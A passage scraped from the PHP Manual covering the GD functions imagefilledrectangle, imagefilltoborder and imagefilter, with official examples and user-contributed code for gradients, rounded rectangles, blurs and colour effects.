        imagefilledrectangle($img, $a1, $b1, $c1, $d1, $white);

        drawCarpet($a, $b, $a1, $b1, $n - 1);
        drawCarpet($a1, $b, $c1, $b1, $n - 1);
        drawCarpet($c1, $b, $c, $b1, $n - 1);

        drawCarpet($c1, $b, $c, $b1, $n - 1);
        drawCarpet($a, $b1, $a1, $d1, $n - 1);
        drawCarpet($c1, $b1, $c, $d1, $n - 1);

        drawCarpet($a, $d1, $a1, $d, $n - 1);
        drawCarpet($a1, $d1, $c1, $d, $n - 1);
        drawCarpet($c1, $d1, $c, $d, $n - 1);
    }

    header('Content-Type: image/png');
    imagepng($img);
?>
mike at delenk dot net 07-May-2008 09:55
The examples in function imagettfbbox() gave me many problems because of misunderstand of how the text is positionned in the box.

So I did a new example:
- writing a text
- in the correct position in its box
- with a padding around

Enjoy !
Mike

<?

// some settings
    $angle = 0;
    $text = 'Ühg 0123456789';
    $font_face = dirname(__FILE__).'/verdana.ttf'; // put the file in the same directory
    $font_size = 9; //(int) pixels in GD 1, or points in GD 2

// retrieves box frame
    $box = imagettfbbox($font_size, 0, $font_face, $text);
    $bottom_left_x = $box[0]; // used below
    $bottom_left_y = $box[1]; // used below
    $bottom_right_x = $box[2]; // used below
    $bottom_right_y = $box[3];
    $top_right_x = $box[4];
    $top_right_y = $box[5];
    $top_left_x = $box[6];
    $top_left_y = $box[7]; // used below

// define width and height of the text box
    $box_w = abs($bottom_left_x) + abs($bottom_right_x);
    $box_h = abs($bottom_left_y) + abs($top_left_y);

// add padding
    $padding_x = 5;
    $padding_y = 5;
    $box_w = $box_w + 2 * $padding_x;
    $box_h = $box_h + 2 * $padding_y;

// origin of the text = baseline of the first char
    $text_x = abs($bottom_left_x) -1 + $padding_x;
    $text_y = $box_h -1 - abs($bottom_left_y) - $padding_y;

// mysterious correction for the characters going low like pgjq
    if(abs($bottom_left_y) <= 1) $box_h--;

// create the image
    $img = imagecreatetruecolor($box_w, $box_h);

// define some colors
    $white = imagecolorallocate($img,255,255,255);
    $black = imagecolorallocate($img,0,0,0);
    $lightgrey = imagecolorallocate($img, 200, 200, 200);
    $grey = imagecolorallocate($img,100,100,100);
    $yellow = imagecolorallocate($img, 0xFF, 0xFF, 0x00);

// attribute colors
    $font_color =  $black;
    $padding_color =  $lightgrey;
    $background_color =  $yellow;

// fill image with background color
    imagefill($img, 0, 0, $background_color);

// fill image with padding color
    imagefilledrectangle($img, 0, 0, $box_w, $padding_y - 1, $padding_color); // top
    imagefilledrectangle($img, 0, 0, $padding_x - 1, $box_h - 1, $padding_color); // left
    imagefilledrectangle($img, 0, $box_h - $padding_y -1, $box_w, $box_h - 1, $padding_color); // bottom
    imagefilledrectangle($img, $box_w - $padding_x, 0, $box_w - 1, $box_h - 1, $padding_color); // right

//write text
imagettftext($img, $font_size, 0, $text_x, $text_y, $font_color, $font_face, $text);

//rotate image
    if ($angle > 0) $img = imagerotate($img, $angle, $white);

// send header
    header("Content-type: image/gif");

//sends image
    imagegif($img);
    imagedestroy($img);
?>
Google 15-Dec-2006 10:35
<?php
//index.php
//set your year, month, daym hour, minute, second you want to cuuntdown to.

//ONLY CHANGE FROM HERE
$year="2006";
$month="12";
$day="25";
$hour="00";
$minute="00";
$second="00";
$event="Christmas Day 2006";

$time=mktime($hour, $minute, $second, $month, $day, $year);

$timecurrent=date('U');
$cdtime=$time-$timecurrent;
$cdmonths=$cddays/30;
$cdyears=$cddays/365;

//Used this case only...
$cdminutes=round($cdtime/60);
//cdtime is seconds
$cdhours=round($cdtime/3600);
$cddays=round($cdhours/24);

//String the date
$currentdate = date('l, F j, Y');
// Set the content-type
header("Content-type: image/png");

// Create the image
$im = imagecreatetruecolor(701, 355);

//Temp BGCOLOR (center of c-finder)
$bg1 = 208;
$bg2 = 130;
$bg3 = 208;

$s1 = $bg1 - 20;
$s2 = $bg2 - 20;
$s3 = $bg3 - 20;

$t1 = $bg1 + 30;
$t2 = $bg2 + 30;
$t3 = $bg3 + 30;

$cArray=array();
    $c1 = imagecolorallocate($im, $bg1, $bg2, $bg3); //Background
    $c8 = imagecolorallocate($im, 255, $bg2, 255); //Background
    $c2 = imagecolorallocate($im, $s1, $s2, $s3); //Shadow
    $c3 = imagecolorallocate($im, $t1, $t2, $t3); //Text

imagefilledrectangle($im, 0, 0, 701, 50, $c1);

imagefilledrectangle($im, 0, 0, 701, 50, $c8);

// The text to draw
$text = $string;
// Replace path by your own font path
$fnum = rand(1, 9);
$font = "/f/font ($fnum)";

// Add some shadow to the text
imagettftext($im, 29, 1, 17, 42, $c2, $font, "Today is:");
imagettftext($im, 28, -1, 15, 40, $c3, $font, "Today is:");
imagettftext($im, 29, 1, 17, 92, $c2, $font, "...$currentdate...");
imagettftext($im, 28, -1, 15, 90, $c3, $font, "...$currentdate...");
imagettftext($im, 29, 1, 17, 142, $c2, $font, "So there are exactly:");
imagettftext($im, 28, -1, 15, 140, $c3, $font, "So there are exactly:");
imagettftext($im, 29, 1, 17, 192, $c2, $font, "$cddays with just...");
imagettftext($im, 28, -1, 15, 190, $c3, $font, "$cddays days with just...");
imagettftext($im, 29, 1, 17, 242, $c2, $font, "$cdminutes minutes and only...");
imagettftext($im, 28, -1, 15, 240, $c3, $font, "$cdminutes minutes and only...");
imagettftext($im, 29, 1, 17, 292, $c2, $font, "$cdseconds seconds until...");
imagettftext($im, 28, -1, 15, 290, $c3, $font, "$cdseconds seconds until...");
imagettftext($im, 29, 1, 17, 342, $c2, $font, "- + $event + -");
imagettftext($im, 28, -1, 15, 340, $c3, $font, "- + $event + -");

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
info at 555webdesign dot com 25-Oct-2006 07:13
Thanks terereese. it took me over two hours to figure that one out.
it worked locally: imagefilledrectangle(imagresource, int x1, int x2, int y1, inty2, color)

BUT remote on my provider only this worked: imagefilledrectangle(imagresource, int x1, int y2, int x1, inty1, color)

Any ideas why and where?
terereese at hotmail dot com 12-Jul-2006 05:02
I would like to inform developers about a problem I encountered when trying to use imagefilledrectangle.

I noted that the order in which the start and end y coordinates are listed is extremely important.
as in the statements below.
if($this->d_values[$i]['unit_value'] < 0)
imagefilledrectangle($this->img,$position_x, $start_y , $end_x, $end_y ,$d_color);
else
imagefilledrectangle($this->img, $position_x,$ end_y , $end_x, $start_y,$d_colour);

Thanks
administrador(ensaimada)sphoera(punt)com 03-May-2006 12:33
I've made a function to make full color gradients:

<?php

// The image must be in truecolor mode!!
    function gradient_region($img, $x, $y, $width, $height,$src_color, $dest_color=0){
        $src_alpha = ($src_color) >> 24;
        $src_red = ($src_color & 0xFF0000) >> 16;
        $src_green = ($src_color & 0x00FF00) >> 8;
        $src_blue = ($src_color & 0x0000FF);

        $dest_alpha = ($dest_color) >> 24;
        $dest_red = ($dest_color & 0xFF0000) >> 16;
        $dest_green = ($dest_color & 0x00FF00) >> 8;
        $dest_blue = ($dest_color & 0x0000FF);

        $inc_alpha = ($dest_alpha - $src_alpha) / $width;
        $inc_red = ($dest_red - $src_red)/$width;
        $inc_green = ($dest_green - $src_green)/$width;
        $inc_blue = ($dest_blue - $src_blue)/$width;

        // If you need more performance, the step can be increased
        for ($i=0;$i<$width;$i++){
            $src_alpha += $inc_alpha;
            $src_blue += $inc_blue;
            $src_green += $inc_green;
            $src_red += $inc_red;
            imagefilledrectangle($img,
                $x+$i,$y,
                $x+$i,$y+$height,
                imagecolorallocatealpha($img,
                $src_red,$src_green,$src_blue,$src_alpha));
        }
    }
?>

More functions at http://www.sphoera.com
me [a.t.] forestfactory [d.o.t.] de 13-Oct-2005 01:44
As of PHP 5, it seems to be no longer necessary to draw the rectangle from the upper left to the lower right corner. This led me into big trouble porting a script developed under PHP 5 to PHP 4.
michal dot kocarek at seznam dot cz 30-May-2004 10:18
If you want to draw a rectangle with rounded corners, you can use this simple function...
Rectangle starts at x1y1 and ends at x2y2. $radius defines radius of circled corner.

<?

function ImageRectangleWithRoundedCorners(&$im, $x1, $y1, $x2, $y2, $radius, $color) {
// draw rectangle without corners
imagefilledrectangle($im, $x1+$radius, $y1, $x2-$radius, $y2, $color);
imagefilledrectangle($im, $x1, $y1+$radius, $x2, $y2-$radius, $color);
// draw circled corners
imagefilledellipse($im, $x1+$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x1+$radius, $y2-$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y2-$radius, $radius*2, $radius*2, $color);
}

?>
booga 18-Jan-2004 02:48
a simple way of using imagerectangle to create a percentage bar

<?php
//this needs to reside in its own php page
//you can include that php page in your html as you would an image:
//<IMG SRC="ratingpng.php?rating=25.2" border="0">

function drawRating($rating) {
    $image = imagecreate(102,10);
    $back = ImageColorAllocate($image,255,255,255);
    $border = ImageColorAllocate($image,0,0,0);
    $red = ImageColorAllocate($image,255,60,75);
    $fill = ImageColorAllocate($image,44,81,150);
    ImageFilledRectangle($image,0,0,101,9,$back);
    ImageFilledRectangle($image,1,1,$rating,9,$fill);
    ImageRectangle($image,0,0,101,9,$border);
    imagePNG($image);
    imagedestroy($image);
}

Header("Content-type: image/png");
drawRating($rating);

?>
ivank at 2xtreme dot net 31-Mar-2002 01:34
As stated above, it needs to go from the top left corner to the bottom right corner. Just use this to flip it if neccessary:

// flip them if neccessary (x3, y3 are temp vars)
if($x1 > $x2) { $x3 = $x2; $x2 = $x1; $x1 = $x3; }
if($y1 > $y2) { $y3 = $y2; $y2 = $y1; $y1 = $y3; }
ImageFilledRectangle($im, $x1, $y1, $x2, $y2, $color);
saramg at uclink dot berkeley dot edu 30-Nov-2001 04:42
Important quirk to note:

While imagerectangle will allow you to use a different order of your coordinates (such as bottom-left to upper-right), imagefilledrectangle will only work correctly if you use top-left to bottom-right as indicated in the docs.


Flood fill to specific color

  • « imagefilledrectangle
  • imagefilter »
  • PHP Manual
  • GD and Image Functions
  • Flood fill to specific color

imagefilltoborder

(PHP 4, PHP 5)

imagefilltoborder — Flood fill to specific color

Description

bool imagefilltoborder ( resource $image , int $x , int $y , int $border , int $color )

imagefilltoborder() performs a flood fill whose border color is defined by border. The starting point for the fill is x, y (top left is 0, 0) and the region is filled with color color.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x

x-coordinate of start.

y

y-coordinate of start.

border

The border color. A color identifier created with imagecolorallocate().

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Filling an ellipse with a color

<?php
// Create the image handle, set the background to white
$im = imagecreatetruecolor(100, 100);
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 255, 255, 255));

// Draw an ellipse to fill with a black border
imageellipse($im, 50, 50, 50, 50, imagecolorallocate($im, 0, 0, 0));

// Set the border and fill colors
$border = imagecolorallocate($im, 0, 0, 0);
$fill = imagecolorallocate($im, 255, 0, 0);

// Fill the selection
imagefilltoborder($im, 50, 50, $border, $fill);

// Output and free memory
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : Filling an ellipse with a color

User Contributed Notes

php at corzoogle dot com 27-Jun-2005 09:08
pritm (.a.t.) mail (.d.0.t.) ru, your jpg black areas aren't entirely black, look *real* closely at it! so the fill will "seep through". the solution is simple, use a lossless background image format. replace this line..

<?
$im = imagecreatefrompng ('map-back.png');
?>

try it with this version of your image..

http://corz.org/public/images/demo/map-back.png
(the colours may be slightly different, just a quick conversion in my regular image viewer)

as you can see, it works perfectly..
http://corz.org/public/images/demo/filled.jpg

;o)
(or
Henrik Nyh 24-Jun-2005 10:26
Reply to pritm (.a.t.) mail (.d.0.t.) ru below.

I had a similar problem and solved it thus:

I had to reduce the number of colors on the image I was using. It appeared to be a black and white map, but contained about 50 shades of almost black and almost white. I reduced this to two colors only (also going from JPG to GIF) so that the borders as well as the areas to be filled each were of a consistent shade.

Additionally, it did not work when I specified border colors as black (0,0,0), even though they seem to be of this exact shade in the map file. Instead, I used ImageColorAt() to pick the border color, and now everything seems to work.

Image: http://henrik.nyh.se/dump/map/europe.gif
In action: http://henrik.nyh.se/dump/map/map.html

Source:

<?php

$map = "europe.gif";

$img = ImageCreateFromGIF($map);

// Colors
$border = ImageColorAt ($img, 416, 111);  // Get color of borders - apparently (0,0,0) won't work
$red = ImageColorAllocate($img, 255, 0, 0);
$green = ImageColorAllocate($img, 0, 255, 0);

// Fill
ImageFillToBorder($img, 440, 100, $border, $red);  // Sweden
ImageFillToBorder($img, 250, 290, $border, $green);  // Great Britain

// Output image as PNG
header("Content-type: image/png");
ImagePNG($img);
ImageDestroy($img);  // Free memoryu

?>
sbuchanan at datadiver dot net 11-May-2005 12:08
edrad's pseudo-sphere is pretty nice, but a few tweeks really improve it.  (writing out the image header so a browser actually understands it and calling imagedestroy() so we clean up memory are nice things to do, too).  Try drawing it at twice the size and then resampling it down.  Takes more CPU, but it forces antialiasing, creating a smooth arc.  Also, render it at diameter = (width - 1) * 2.  Taking one pixel off the outside keeps it off the image edge, eliminating those ugly flat spots.  Render it on white first so you can really see the edge, then switch back to the cool grey...

Oh, and use imagecreatetruecolor instead of imagecreate if you have it available.

I agree that imageellipse is easier, though.  Actually, I generate rounded corners with drop-shadows for CSS with imagefilledarc (kind of a blend of the two)  Use imagefilledellipse if drawing the whole thing, use imagefilledarc if only drawing part of it (like a corner).  If you use the 'filled' functions you can skip imagefilltoborder altogether :P

Anyway, try this for a smoother image:

<?php

  $requested_width = 300;
  $render_width = ($requested_width * 2) - 1; // -1 to back away from edge, removing flat spot
  $center = $render_width / 2;
  $colordivs = 255 / $center;
  $im_scratch = @imagecreate($render_width, $render_width);

  //$back_color = imagecolorallocate($im_scratch, 20, 30, 40);  // try it with white so you can really see the edge first..
  $back_color = imagecolorallocate($im_scratch, 255, 255, 255);

  imagefill($im_scratch, 0, 0, $back_color);

  for ($i = 0; $i <= $center; $i++) {
    $diametre = $render_width - 2 * $i;
    $el_color = imagecolorallocate($im_scratch, $i * $colordivs, 0, 0);
    imageellipse($im_scratch, $center, $center, $diametre, $diametre, $el_color);
    imagefilltoborder($im_scratch, $center, $center, $el_color, $el_color);
  }

  // resample down, causes antialiasing, nice smooth curve!
  $im = @imagecreatetruecolor($requested_width, $requested_width);
  imagecopyresampled($im, $im_scratch, 0, 0, 0, 0, $requested_width, $requested_width, $render_width, $render_width);

  header ("Content-type: image/png");
  imagepng($im);
  ImageDestroy($im);
  ImageDestroy($im_scratch);

?>
admin at worldlanguages dot tk 10-Sep-2004 11:54
In the example below, for those with newer GD versions, it makes more sense to replace:

imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);

with:

imageellipse($im, $center, $center, $diametre, $diametre, $el_color);

This is obviously simpler.
edrad at wanadoo dot fr 11-Jun-2003 02:02
Very useful to build a pseudo-sphere with a color gradient...

<?php
 $width = 300;
 $center = $width / 2;
 $colordivs = 255 / $center;
 $im = @imagecreate($width, $width);
 $back_color = imagecolorallocate($im, 20, 30, 40);
 imagefill($im, 0, 0, $back_color);
 for ($i = 0; $i <= $center; $i++)
 {
     $diametre = $width - 2 * $i;
    $el_color = imagecolorallocate($im, $i * $colordivs, 0, 0);
    imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);
    imagefilltoborder($im, $center, $center, $el_color, $el_color);
 }
 imagepng($im);
?>

Dark Skull Software
http://www.darkskull.net
ecofarm at mullum dot com dot au 25-Jan-2001 07:18
Great for getting that rounded button look we see a lot of at php.net ... try this sample. (remember to change png to whatever image format your version of php supports)

<?php

    Header ("Content-type: image/png");

      ///// create canvas  /////

    $im = ImageCreate (80, 25);

  //define colors.. first color declared is set as background

    $blue  = ImageColorAllocate ($im, 0, 0, 255);
    $white  = ImageColorAllocate ($im, 255, 255, 255);

      // draw semi-circle arcs at each end

    ImageArc($im, 12, 12, 23, 26, 90, 270, $white);
    ImageArc($im, 67, 12, 23, 26, 270, 90, $white);

      // fill ends outside arcs with color

    ImageFillToBorder ($im, 0, 0, $white, $white);
    ImageFillToBorder ($im, 79, 0, $white, $white);

      // create the image

    ImagePng ($im);

      // destroy the image to free memory

    ImageDestroy ($im);
?>


Applies a filter to an image

  • « imagefilltoborder
  • imageflip »
  • PHP Manual
  • GD and Image Functions
  • Applies a filter to an image

imagefilter

(PHP 5)

imagefilter — Applies a filter to an image

Description

bool imagefilter ( resource $image , int $filtertype [, int $arg1 [, int $arg2 [, int $arg3 [, int $arg4 ]]]] )

imagefilter() applies the given filter filtertype on the image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filtertype

filtertype can be one of the following:

  • IMG_FILTER_NEGATE: Reverses all colors of the image.
  • IMG_FILTER_GRAYSCALE: Converts the image into grayscale.
  • IMG_FILTER_BRIGHTNESS: Changes the brightness of the image. Use arg1 to set the level of brightness.
  • IMG_FILTER_CONTRAST: Changes the contrast of the image. Use arg1 to set the level of contrast.
  • IMG_FILTER_COLORIZE: Like IMG_FILTER_GRAYSCALE, except you can specify the color. Use arg1, arg2 and arg3 in the form of red, green, blue and arg4 for the alpha channel. The range for each color is 0 to 255.
  • IMG_FILTER_EDGEDETECT: Uses edge detection to highlight the edges in the image.
  • IMG_FILTER_EMBOSS: Embosses the image.
  • IMG_FILTER_GAUSSIAN_BLUR: Blurs the image using the Gaussian method.
  • IMG_FILTER_SELECTIVE_BLUR: Blurs the image.
  • IMG_FILTER_MEAN_REMOVAL: Uses mean removal to achieve a "sketchy" effect.
  • IMG_FILTER_SMOOTH: Makes the image smoother. Use arg1 to set the level of smoothness.
  • IMG_FILTER_PIXELATE: Applies pixelation effect to the image, use arg1 to set the block size and arg2 to set the pixelation effect mode.

arg1

  • IMG_FILTER_BRIGHTNESS: Brightness level.
  • IMG_FILTER_CONTRAST: Contrast level.
  • IMG_FILTER_COLORIZE: Value of red component.
  • IMG_FILTER_SMOOTH: Smoothness level.
  • IMG_FILTER_PIXELATE: Block size in pixels.

arg2

  • IMG_FILTER_COLORIZE: Value of green component.
  • IMG_FILTER_PIXELATE: Whether to use advanced pixelation effect or not (defaults to FALSE).

arg3

  • IMG_FILTER_COLORIZE: Value of blue component.

arg4

  • IMG_FILTER_COLORIZE: Alpha channel, A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | Pixelation support (IMG_FILTER_PIXELATE) was added.
5.2.5 | Alpha support for IMG_FILTER_COLORIZE was added.

Examples

Example #1 imagefilter() grayscale example

<?php
$im = imagecreatefrompng('dave.png');

if($im && imagefilter($im, IMG_FILTER_GRAYSCALE))
{
    echo 'Image converted to grayscale.';

    imagepng($im, 'dave.png');
}
else
{
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

Example #2 imagefilter() brightness example

<?php
$im = imagecreatefrompng('sean.png');

if($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20))
{
    echo 'Image brightness changed.';

    imagepng($im, 'sean.png');
    imagedestroy($im);
}
else
{
    echo 'Image brightness change failed.';
}
?>

Example #3 imagefilter() colorize example

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0))
{
    echo 'Image successfully shaded green.';

    imagepng($im, 'philip.png');
    imagedestroy($im);
}
else
{
    echo 'Green shading failed.';
}
?>

Example #4 imagefilter() negate example

<?php
// Define our negate function so its portable for
// php versions without imagefilter()
function negate($im)
{
    if(function_exists('imagefilter'))
    {
        return imagefilter($im, IMG_FILTER_NEGATE);
    }

    for($x = 0; $x < imagesx($im); ++$x)
    {
        for($y = 0; $y < imagesy($im); ++$y)
        {
            $index = imagecolorat($im, $x, $y);
            $rgb = imagecolorsforindex($index);
            $color = imagecolorallocate($im, 255 - $rgb['red'], 255 - $rgb['green'], 255 - $rgb['blue']);

            imagesetpixel($im, $x, $y, $color);
        }
    }

    return(true);
}

$im = imagecreatefromjpeg('kalle.jpg');

if($im && negate($im))
{
    echo 'Image successfully converted to negative colors.';

    imagejpeg($im, 'kalle.jpg', 100);
    imagedestroy($im);
}
else
{
    echo 'Converting to negative colors failed.';
}
?>

Example #5 imagefilter() pixelate example

<?php
// Load the PHP logo, we need to create two instances
// to show the differences
$logo1 = imagecreatefrompng('./php.png');
$logo2 = imagecreatefrompng('./php.png');

// Create the image instance we want to show the
// differences on
$output = imagecreatetruecolor(imagesx($logo1) * 2, imagesy($logo1));

// Apply pixelation to each instance, with a block
// size of 3
imagefilter($logo1, IMG_FILTER_PIXELATE, 3);
imagefilter($logo2, IMG_FILTER_PIXELATE, 3, true);

// Merge the differences onto the output image
imagecopy($output, $logo1, 0, 0, 0, 0, imagesx($logo1) - 1, imagesy($logo1) - 1);
imagecopy($output, $logo2, imagesx($logo2), 0, 0, 0, imagesx($logo2) - 1, imagesy($logo2) - 1);
imagedestroy($logo1);
imagedestroy($logo2);

// Output the differences
header('Content-Type: image/png');
imagepng($output);
imagedestroy($output);
?>

The above example will output something similar to:

Output of example : imagefilter() pixelate

Notes

See Also

  • imageconvolution() - Apply a 3x3 convolution matrix, using coefficient and offset

User Contributed Notes

martijn at martijnfrazer dot nl 02-Apr-2014 02:03
I needed an especially strong blur effect today and had a hard time achieving adequate results with the built-in IMG_FILTER_GAUSSIAN_BLUR filter. In order to achieve the strength of the blur I required I had to repeat the filter up to  100 times, which took way too long to be acceptable.

After a bit of searching, I found this answer to be quite a good solution to this problem: http://stackoverflow.com/a/20264482

Based on that technique, I wrote the following generic function to achieve a very strong blur in a reasonable amount of processing:

<?php

/**
 * Strong Blur
 *
 * @param resource $gdImageResource
 * @param int $blurFactor optional
 *  This is the strength of the blur
 *  0 = no blur, 3 = default, anything over 5 is extremely blurred
 * @return GD image resource
 * @author Martijn Frazer, idea based on http://stackoverflow.com/a/20264482
 */
function blur($gdImageResource, $blurFactor = 3)
{
  // blurFactor has to be an integer
  $blurFactor = round($blurFactor);

  $originalWidth = imagesx($gdImageResource);
  $originalHeight = imagesy($gdImageResource);

  $smallestWidth = ceil($originalWidth * pow(0.5, $blurFactor));
  $smallestHeight = ceil($originalHeight * pow(0.5, $blurFactor));

  // for the first run, the previous image is the original input
  $prevImage = $gdImageResource;
  $prevWidth = $originalWidth;
  $prevHeight = $originalHeight;

  // scale way down and gradually scale back up, blurring all the way
  for($i = 0; $i < $blurFactor; $i += 1)
  {
    // determine dimensions of next image
    $nextWidth = $smallestWidth * pow(2, $i);
    $nextHeight = $smallestHeight * pow(2, $i);

    // resize previous image to next size
    $nextImage = imagecreatetruecolor($nextWidth, $nextHeight);
    imagecopyresized($nextImage, $prevImage, 0, 0, 0, 0,
      $nextWidth, $nextHeight, $prevWidth, $prevHeight);

    // apply blur filter
    imagefilter($nextImage, IMG_FILTER_GAUSSIAN_BLUR);

    // now the new image becomes the previous image for the next step
    $prevImage = $nextImage;
    $prevWidth = $nextWidth;
      $prevHeight = $nextHeight;
  }

  // scale back to original size and blur one more time
  imagecopyresized($gdImageResource, $nextImage,
    0, 0, 0, 0, $originalWidth, $originalHeight, $nextWidth, $nextHeight);
  imagefilter($gdImageResource, IMG_FILTER_GAUSSIAN_BLUR);

  // clean up
  imagedestroy($prevImage);

  // return result
  return $gdImageResource;
}
?>
Manolo at msalsas dot com 01-Feb-2014 11:25
filtertype is an integer. So if you want to use it as a variable and need to use, e.g. preg_match function you can do it in this way:

<?php
    $filter = IMG_FILTER_BRIGHTNESS;
    if( preg_match( '/^[0-9]{1,2}$/', $filter ) )
    {
        //Do something
    }
?>

The order of the filtertypes in this manual determines the number of each filter, from 0 to 11. E.g. IMG_FILTER_NEGATE=0.
yoann at yoone dot eu 22-Aug-2013 11:04
Here is an alternative to IMG_FILTER_COLORIZE filter, but taking the alpha parameter of each pixel in account.

<?php
function rgba_colorize($img, $color)
{
    imagesavealpha($img, true);
    imagealphablending($img, true);

    $img_x = imagesx($img);
    $img_y = imagesy($img);
    for ($x = 0; $x < $img_x; ++$x)
    {
        for ($y = 0; $y < $img_y; ++$y)
        {
            $rgba = imagecolorsforindex($img, imagecolorat($img, $x, $y));
            $color_alpha = imagecolorallocatealpha($img, $color[0], $color[1], $color[2], $rgba['alpha']);
            imagesetpixel($img, $x, $y, $color_alpha);
            imagecolordeallocate($img, $color_alpha);
        }
    }
}
?>
Padde 09-Dec-2012 04:29
I played with IMG_FILTER_SMOOTH and tried some negative
values.

-1 to -7: looks like a mix of smoothness and edgedetect

-8: image seems to be completely broken

-9 and lower: kind of sharpening effect (-9 sharper than -10)

I think the sharpening effect in particular could be useful.
martijn(97+1) at gmail dot com (solve math) 18-Oct-2012 02:34
Simple pixelate function, just in case you are < 5.3

<?php
function pixelate(&$image, $pixelsize){
    $maxX = imagesx($image);
    $maxY = imagesy($image);
    $rad=floor($pixelsize/2);
    for($x=$rad;$x<$maxX;$x+=$pixelsize)
        for($y=$rad;$y<$maxY;$y+=$pixelsize){
            $color = imagecolorat($image, $x, $y);
            imagefilledrectangle ($image, $x-$rad, $y-$rad, $x+$pixelsize-1, $y+$pixelsize-1,$color);
        }
}
?>
cookie at backbone dot sk 23-Aug-2012 10:11
a function to create nice vignette effect:

<?php

function vignette($im){
    global $width, $height;
    $width = imagesx($im);
    $height = imagesy($im);

    function effect($x, $y, &$rgb){
        global $width, $height;

        $sharp = 0.4; // 0 - 10 small is sharpnes,
        $level = 0.7; // 0 - 1 small is brighter

        $l = sin(M_PI / $width * $x) * sin(M_PI / $height * $y);
        $l = pow($l, $sharp);

        $l = 1 - $level * (1 - $l);

        $rgb['red'] *= $l;
        $rgb['green'] *= $l;
        $rgb['blue'] *= $l;
    }

    for($x = 0; $x < imagesx($im); ++$x){
        for($y = 0; $y < imagesy($im); ++$y){
            $index = imagecolorat($im, $x, $y);
            $rgb = imagecolorsforindex($im, $index);
            effect($x, $y, $rgb);
            $color = imagecolorallocate($im, $rgb['red'], $rgb['green'], $rgb['blue']);

            imagesetpixel($im, $x, $y, $color);
        }
    }
    return(true);
}

$im = imagecreatefromjpeg('cars7_134.jpg');

if($im and vignette($im)){
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
}else{
    echo 'Vignette failed.';
}
?>
mail at pedrocandeias dot com 29-Oct-2011 04:20
// With transparent PNG file you can colorize the "positive" items and stand the transparent has it is - Beta code

<?php
header('Content-Type: image/png');

$im = imagecreatefrompng('image.png');
$width = imagesx($im);
$height = imagesy($im);
$imn = imagecreatetruecolor($width, $height);
imagealphablending($imn,false);
$col=imagecolorallocatealpha($imn,255,255,255,127);
imagesavealpha($imn,true);
imagefilledrectangle($imn,0,0,$width,$height,$col);
imagealphablending($imn,true);
imagecopy($imn, $im, 0, 0, 0, 0, $width, $height);
imagefilter($imn, IMG_FILTER_NEGATE);

// FOR A TRANSPARENT PNG FILE WITH SOMETHING INSIDE, YOU CAN CHANGE THE COLOR HERE: I HAVE RGB: 0, 255, 0
imagefilter($imn, IMG_FILTER_COLORIZE, 0, 255, 0);

imagepng($imn);
imagedestroy($imn);

?>
hadrien dot jouet at grownseed dot net 21-Jun-2011 03:58
For people looking to apply a 'multiply' effect on images like the one in Photoshop (generally b&w ones), you can achieve it with the IMG_FILTER_COLORIZE filter.

<?php
function multiplyColor(&$im, $color = array(255, 0, 0))
{
   //get opposite color
   $opposite = array(255 - $color[0], 255 - $color[1], 255 - $color[2]);

   //now we subtract the opposite color from the image
   imagefilter($im, IMG_FILTER_COLORIZE, -$opposite[0], -$opposite[1], -$opposite[2]);
}
?>
bushmakin stas (bushstas at mail dot ru) 17-Mar-2011 09:26
a function to make all colors gray except the only one
i made it myself so the code is note so beautiful )

<?php
function imagecolorfilter($im){

    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $c=($r+$g+$b)/3;

//if($g<$r || $g<$b+20){$r=$c;$g=$c; $b=$c;}//leaves only green
//if($b<$r || $b<$g){$r=$c;$g=$c; $b=$c;}//only blue
if($r<$g+30 || $r<$b){$r=$c;$g=$c; $b=$c;}//only red
//if($r<$g-1 || $r>$g+60 || $b>$g-50){$r=$c;$g=$c; $b=$c;}//only yellow

imagesetpixel($im, $x, $y,imagecolorallocate($im, $r,$g,$b));
        }
    }
}

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("image.jpg");
imagecolorfilter($im);
imagejpeg($im);
?>
jonathan dot gotti at gmail dot com 30-Nov-2010 03:38
IMG_FILTER_COLORIZE doesn't seem to work on palette image, here's a way to achieve same result with palette image:

<?php
//$color is an array containing rvb infos (ie: array(255,80,0))
function paletteColorize($imgResource,array $color){
    $nbColors = imagecolorstotal($imgResource);
    for($i=0; $i<$nbColors; $i++){
        $c = array_values(imagecolorsforindex($imgRes,$i));
        for($y=0;$y<3;$y++)
            $c[$y] = max(0,min(255,$c[$y]+$color[$y]));
        imagecolorset($imgResource,$i,$c[0],$c[1],$c[2]);
    }
}
?>

Here's also a function that work on both truecolor and palette images that try to do something similar to greyscale with a given color
<?php
function colorScale($imgRes,array $color){
        imagefilter($imgRes,IMG_FILTER_GRAYSCALE);
        $color = self::_read_color($color);
        $luminance=($color[0]+$color[1]+$color[2])/3; // average luminance added by the color
        $brightnessCorrection = $luminance/3; // quantity of brightness to correct for each channel
        if( $luminance < 127 ){
            $brightnessCorrection -= 127/3; // color is dark so we have to negate the brightness correction
        }
        if(! imageistruecolor($imgRes) ){
